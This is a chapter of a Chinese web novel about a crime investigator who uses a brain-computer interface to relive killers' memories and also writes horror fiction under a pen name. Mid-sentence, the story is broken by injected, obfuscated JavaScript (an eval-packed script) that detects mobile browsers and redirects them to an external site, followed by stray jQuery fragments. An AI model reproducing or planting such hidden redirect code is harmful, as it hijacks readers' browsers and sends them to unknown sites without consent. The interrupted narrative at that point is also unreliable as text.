冰凉的金属电极贴片精准地吸附在太阳穴两侧，细微的电流嗡鸣如同钻进颅骨的蜂群。


    我闭上眼，任由意识被那台代号“渡鸦”的银灰色脑机接口牵引，沉入一片混沌的数据之海。


    眼前不再是堆满元宝纸钱和冰冷棺材的逼仄铺面，而是无数破碎、跳跃、带着刘志浓烈主观情绪的光影碎片——


    麻木的等待，电子钟血红数字带来的焦灼，绳索骤然收紧时指尖传来的、令人牙酸的巨大阻力。


    还有冰柜边缘那抹刺目暗红一闪而过的画面……所有的感官细节，都带着第一视角的冰冷和残忍，烙印在我的神经末梢。


    胃里还残留着生理性的翻搅，那是属于刘志的、近乎漠然的杀戮快感强行注入我这具躯体的副作用。


    每一次“渡鸦”任务结束，都像从一场漫长的、浸透他人罪恶的噩梦中强行剥离，带着一身不属于自己的冷汗和心悸。


    “呼……”我长长地吐出一口浊气，摘下头上布满传感线的头盔，金属的冰凉离开皮肤，带来一丝重回人间的真实感。


    指尖习惯性地摸向口袋，掏出一个磨砂银色的电子烟杆，深深吸了一口。


    冰凉、带着强烈薄荷气息的烟雾猛地灌入肺腑，那几乎冻结的血液似乎才重新开始流动，勉强压下了喉咙深处那股翻涌的铁锈味。


    观察室外，隔着单向玻璃，十几双眼睛正热切地注视着我。


    我定了定神，让因沉浸而略显滞涩的嗓音恢复平稳，清晰地对着麦克风说道：


    “刘志老家，房后那座最高的山，山顶往北坡下走大约一百五十米，有一片野核桃林。最粗壮的那棵老核桃树下，埋着他勒死第一个受害者时用的麻绳和手套。三十年了，应该还在。”


    话音落下的瞬间，观察室那头爆发出压抑的欢呼。玻璃后面的人影激动地挥舞着手臂。


    困扰他们半辈子的悬案，终于在我潜入的这片意识废墟里，找到了指向确凿罪证的坐标。


    “老大！太棒了！神了！”清脆的女声伴随着开门声响起，我的年轻助理小雅像一阵风似的冲进来，脸上是毫不掩饰的崇拜，手里还捧着一杯刚冲好的热茶，“快喝点热的压压惊！”


    我接过茶杯，指尖依旧冰凉。“分内事。”声音有些哑。


    神？


    不，我只是一个比较能“装”的容器罢了。


    能一次次深入那种黑暗而不彻底迷失，自然有我的原因，只是现在还不是解释的时候。


    “渡鸦”的例行精神评估很快结束，数据在安全阈值内——这结果让技术组松了口气，看我的眼神又多了几分敬畏。破案的成就感被更深的疲惫覆盖。


    脑机探案，听起来是划时代的科技奇迹。


    但只有真正躺在那张椅子上，以第一视角“成为”凶手的人才知道，那是一种怎样酷烈的精神凌迟。


    你看着他举刀，感受他肌肉的发力，体会他杀戮瞬间扭曲的快意，甚至要同步承受受害者濒死的绝望……就像一遍遍把自己的灵魂浸入最污秽的毒液里清洗。


    “给我三天假就行。老规矩。”我对小雅摆摆手，拿起搭在椅背上的外套。


    我需要离开这里，离开警局弥漫的消毒水味和案件卷宗的沉重气息。


    我需要回到我的另一个世界，一个用文字构筑的、虽然同样幽暗但至少可以掌控节奏的世界。那里，我叫齐先生。


    推开家门，熟悉的旧书纸张和淡淡线香的味道扑面而来，紧绷的神经终于松懈了一线。


    电脑屏幕幽幽亮着，文档停留在未完成的章节标题——《螺》。


    书桌一角，整整齐齐码着三本书，封面设计透着阴森的精致：《孤儿怨》、《婴儿汤》、《密室》。


    作者名都是同一个：齐先生。


    封面上印着扭曲的暗影和惊悚的宣传语，在昏暗的台灯光下无声地宣告着另一个身份的存在。


    我把自己扔进宽大的沙发里，左手下意识地捻动起腕上那串触手冰凉的黑曜石手串。


    圆润的珠子一颗颗滑过指腹，带着沉甸甸的凉意，仿佛能将指尖沾染的、属于刘志记忆的粘稠血腥气一点点吸走。


    望着天花板，我吐出一口带着薄荷味的烟雾。或许，该给我的读者们一点“幕后花絮”了？


    毕竟，他们已经跟着“齐先生”经历了三个毛骨悚然的故事，却对故事的真正源头一无所知。


    想到那些在书评区热烈讨论剧情、猜测“齐先生”是不是真撞过鬼的可爱读者们，我嘴角终于牵起一丝真实的、带着点无奈的弧度。


    好吧，朋友们，如果你们正在看这篇更新，那么，是时候揭晓一点小小的真相了。


    我是齐先生。


    对，就是那个躲在笔名后面，用键盘编织《孤儿怨》里废弃福利院的低语、《婴儿汤》中老巷深处的诡异肉香、《密室》内绝望挣扎的沉重喘息的家伙。


    你们看到的那些故事，那些令人脊背发凉的细节——并非全然出自我的“丰富”想象力（虽然这部分确实不少）。


    我的主业，或者说，我白天（以及许多个深夜）的身份，是一名特殊罪案调查员。


    隶属一个你们在新闻里永远看不到详细报道的部门。


    我们处理的，是那些常规刑侦手段束手无策的陈年积案、悬案，尤其是那些缠绕着诡异色彩、仿佛被无形之手抹去了所有线索的“完美”犯罪。而我的“特殊”之处，就在于我能使用一种代号“渡鸦”的脑机接口设备。


    想象一下，朋友们。


    不是坐在审讯室里和嫌疑人斗智斗勇，也不是在罪案现场拿着放大镜寻找蛛丝马迹。我的工作台，就是那张连接着无数精密导线的躺椅。


    我的“现场勘查”，是直接潜入那些最危险的大脑——连环杀手、灭门惨案唯一的幸存者（或嫌疑人）、精神崩溃的目击者——的意识深处。


    “渡鸦”像一把钥匙，强行打开他们记忆宫殿里那些尘封、扭曲甚至被刻意锁死的房间。


    我在里面行走，以他们的眼睛去看，用他们的耳朵去听，感受他们的心跳、恐惧、狂喜，甚至是……杀意。就像刚才，我“成为”了棺材铺的刘志，在午夜两点，用冰冷的绳索套上了一个穿孝服的女人的脖子。那种触感，指腹下喉骨在压力下的细微错动，受害者徒劳挣扎时指甲划过我手臂的微弱刺痛，以及刘志内心深处那潭死水般的漠然……都真实得令人作呕。


    这工作很酷？也许吧。


    但相信我，当你一遍遍以第一视角“经历”那些人性最黑暗的瞬间，当你被迫同步感受受害者的极致痛苦和凶手的冰冷快感，那种精神上的撕裂感和污染，足以让最坚强的人发疯。


    所以，我写故事。用“齐先生”这个身份。这不仅仅是副业，更是我的锚点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16024024|178037||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，我的呼吸阀。


    我需要一个宣泄的出口，把那些在他人记忆里沾染的、无法言说的黑暗和粘稠的恐惧，用虚构的笔触编织出来，赋予它们一个我能掌控的结局。


    当文字在屏幕上流淌，当《孤儿怨》里的怨灵得到超度、《婴儿汤》的邪灶被彻底捣毁、《密室》的真相在纸页间大白，我才能感觉到自己意识深处那些属于“他人”的冰冷碎片，被一点点剥离、冻结在那串冰凉的黑曜石里。


    写作和指间这冰冷的触感，是我对抗记忆污染的双重屏障。


    三天假期，我试图把自己埋进《棺影两点半》的构思里，让刘志那张麻木的脸和女人绝望的眼神，被新的、属于“齐先生”的鬼故事覆盖。


    然而，精神上的疲惫如同跗骨之蛆，刘志的记忆碎片总在不经意间闪回——冰柜边缘的暗红，绳索收紧时喉管发出的“咯咯”声……睡眠变得支离破碎，噩梦如影随形。


    薄荷烟消耗得飞快，手串在指间转动的频率越来越高。


    假期结束的清晨，我站在镜子前刮胡子，看着眼底浓重的青黑。


    手机在洗手台上震动起来，是内部加密线路。


    “齐工，调整得如何？”是部门主管老陈的声音，背景音里有纸张翻动的沙沙声，显得严肃而急迫。


    “恐怕得提前结束你的假期了。有个案子，上面点名，必须由你出手。”


    我抹掉下巴上的剃须泡沫，水珠顺着下颌线滑落，冰凉。左手无意识地捻紧了腕上的珠子。


    “哪一件？”心里其实已经有了预感。


    听筒那边沉默了一秒，再开口时，声音压得更低，带着一种沉甸甸的分量：“‘林璐案’。那家人……等了二十年了。唯一活下来的那个孩子，明浩，现在是植物人状态。他的大脑，是我们最后的希望。”


    林璐案。这三个字像一块冰，砸进心湖。


    那起轰动一时的灭门惨案，一家五口，郊外踏青，血染山林。


    唯一的幸存者，十二岁的养子明浩，被发现时蜷缩在泉眼边的树下，精神彻底崩溃，失去了所有关键记忆。


    随后几年，精神状况持续恶化，最终在一次精神病院的“意外”中坠楼，成了无知无觉的植物人。


    一个善良家庭的无妄之灾，一个孩子被彻底摧毁的人生，一个二十年无法破解的悬案。


    它沉重地压在每一个经办此案的警员心头。


    压力如山。


    更棘手的是目标——一个沉睡了十几年、大脑活动几乎处于静息状态的植物人。


    用“渡鸦”连接这样的意识，无异于在深渊的钢丝上跳舞，风险未知。


    “他的大脑状态…稳定吗？”我问，声音有些发干。


    连接精神病患已是险途，植物人的意识世界，更像是混沌未开的宇宙废墟，或者……一片死寂的荒原。


    “生命体征平稳，但脑电波活动极其微弱，长期处于低水平波动，符合深度植物状态特征。”


    老陈语速很快，带着不容置疑的决断，“技术组评估过，‘渡鸦’的深层刺激模式理论上可以激活部分休眠脑区，回溯深层记忆碎片。


    但具体能挖出多少，有没有价值，能不能安全回来……老齐，你是我们唯一的王牌。


    林老师资助过的那些学生，如今能量不小，联合施压，上面顶不住了。明浩，是最后的钥匙。”